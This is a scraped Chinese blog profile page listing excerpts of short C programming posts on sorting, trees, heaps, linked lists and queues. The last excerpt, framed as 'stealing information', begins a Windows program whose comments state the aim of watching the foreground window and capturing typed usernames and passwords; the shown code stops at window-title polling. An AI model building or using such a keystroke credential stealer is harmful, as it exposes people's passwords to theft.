自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(18)
  • 收藏
  • 关注

原创 希尔排序

for (n = m / 2; n > 0; n /= 2) {//m为数组总个数 for (i = n; i < m; i++) { temp = a[i]; for (j = i; j >= n && a[j-n] > temp; j-=n) a[j] = a[j - n]; a[j] = temp; } }

2020-08-02 22:30:07 97

原创 冒泡排序、插入排序

冒泡排序:for(i=m-1;i>=0;i--) for(n=0;n<i;n++) if (a[n] > a[n + 1]) { temp = a[n]; a[n] = a[n + 1]; a[n + 1] = temp; }插入排序:for (n = 1; n < m; n++) { temp = a[n]; for (i = n; i > 0 && temp < a[i-1]; i--)

2020-08-02 22:29:10 99

原创 求树的叶子结点和高度

树的叶子结点:void CountLeaf(BiTree* root){ if (root) { if (root->Left == NULL && root->Right == NULL) { printf("%5c", root->Data); } CountLeaf(root->Left); CountLeaf(root->Right); }}树的高度:int HighTree(BiTree* root){ i

2020-07-27 21:42:15 444

原创 树的遍历

树相关结构体:typedef struct TNode { //树结点 char Data; struct TNode* Left; struct TNode* Right; }BiTree; typedef struct stack {//栈 BiTree* s[100]; int top;}Stack;typedef struct Queue {//队列 BiTree* Q[100]; int front, rear;}Queue;递归先序遍历:void

2020-07-27 21:39:49 77

原创 图零阶矩阵的建立

#include<stdio.h>#include<stdlib.h>#include<malloc.h>#define Max 100 #define INFINITY 10000 typedef int Vertex; typedef int WeightType; typedef char DataType; typedef struct ENode { int V1, V2;

2020-07-25 23:26:48 831

原创 大顶堆建立,插入,删除

头文件和结构体:#include<stdio.h>#include<malloc.h>#include<stdlib.h>#define Maxsize 10000typedef struct HNode { int* data; int size; int max;}Heap;初始化:Heap* CreatHeap(int max){ Heap* h; h = (Heap*)malloc(sizeof(Heap)); h->data

2020-07-25 15:54:49 537

原创 循环队列的进出操作

循环队列结构体:typedef struct QNode { int data[Maxsize]; int front, rear;}QNode;进队列:void CreatQ(QNode* Q){ if ((Q->rear+1) % Maxsize ==Q->front) printf("队列满!\n"); else { Q->rear = (Q->rear + 1) % Maxsize; scanf_s("%d", &Q->data

2020-07-15 16:07:07 391

原创 利用数组进行数制转换

十进制转化为二进制:void D_B(){ int data,r[8],i=7; printf("请输入数值:"); scanf_s("%d", &data); while (data != 0) { r[i--] = data % 2; data = data / 2; } while(i!=7) printf("%5d", r[++i]); printf("\n");}因为一个十进制数可以用一个八位二进制数表示,所以设置数组变量r[7],又因为整数的转化为二进

2020-07-14 14:34:14 1044

原创 VS2019编写的循环双链表的完整代码

循环双链表的完整代码:#include<stdio.h>#include<stdlib.h>#include<malloc.h>typedef struct dunode { int data; struct dunode* prior; struct dunode* next;} DuLinkList;DuLinkList* MakeEmpty(){ DuLinkList* PtrL; PtrL = (DuLinkLis

2020-07-10 23:21:02 260

原创 使用VS2019编写双向单链表的完整代码

双向单链表完整代码,使用VS2019版本:`#include<stdio.h>#include<stdlib.h>#include<malloc.h>typedef struct dunode { int data; struct dunode* prior; struct dunode* next;} DuLinkList;DuLinkList* MakeEmpty(){ DuLinkList* PtrL; PtrL =

2020-07-10 23:09:22 619

原创 双向单链表数据删除

双向单链表结构体typedef struct dunode { int data; struct dunode* prior; struct dunode* next;} DuLinkList;双向单链表数据删除(DuLinkList* L){ int data; DuLinkList* s,*p; p = L; printf("请输入插入的元素:"); scanf_s("%d", &data); s = (DuLinkList*)malloc(

2020-07-10 22:49:39 165

原创 双向单链表的输出

双向单链表结构体typedef struct dunode { int data; struct dunode* prior; struct dunode* next;} DuLinkList正向顺序输出:void DisplayLink1(DuLinkList* L){ DuLinkList* p, * s; p = L->next; while (p != NULL) { printf("%5d", p->data); p = p-&

2020-07-10 22:41:39 239 1

原创 结构体指针不能自加

int Length ( List *PtrL ){ List *p = PtrL; int j = 0; while ( p ) { p++; j++; } return j;}上列函数不能求链式存储的线性表的表长,因为结构体指针不能自加```...

2020-07-08 11:14:27 535

原创 百钱百鸡常见错误和正解

错误算法:int x, y, z, k = 0; for (x = 0; x < 100; x++) for (y = 0; y <= 100; y++) for (z = 0; z <= 100; z++) if (x + y + z == 100 && x * 5 + y * 3 + z / 3 == 100) { k

2020-07-04 14:32:07 154

原创 逗号运算符怎么使用

#include <stdio.h>int main(){int d=(1,2,3,4,5);printf("%d\n",d);return 0;}程序输出是5,因为括号比等于号优先级较高,在括号里面,逗号运算符的规则是取最右边逗号的右边赋值,所以输出5

2020-07-02 20:30:57 1045

原创 字符数组与ASCII代码

int b,a=28; char s[10],*p; p=s; do{ b=a%16; if(b<10) *p=b+48; else *p=b+55; p++; a=a/5; }while(a>0); *p='\0'; puts(s运行结果是: c51通过指针p,str[0]=67,str[1]=53,str[2]=49;因为str是cha

2020-06-26 17:08:50 1579

原创 strcpy(str + 2,strcat(p1, p2))的解释

char* p1, * p2, str[50] = "abc", st[50] = "abc"; p1 = st; p2 = "abc"; strcpy(str + 2,strcat(p1, p2)); printf("%s\n", str);结果:ababcabcstrcat是把p2把 所指向的字符串追加到p0所指向的字符串的结尾。strcpy是复制str+2是str[2]开始复制,保留前两个元素,第三个开始复制...

2020-06-26 16:37:03 5001

原创 获取当前窗口信息(盗取信息)

#include <Windows.h>#include <stdio.h>//1. 去偷窥隔壁家应用程序(窗口)的名字//2. 监听键盘的输入,抓取用户名和密码HWND PreWindow = NULL; //最前面窗口句柄int main(void){ char title[256]; while( 1==1){ //1. 去偷窥隔壁家应用程序(窗口)的名字 HWND window = GetForegroundWindow(); if(windo

2020-06-25 22:33:44 654

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除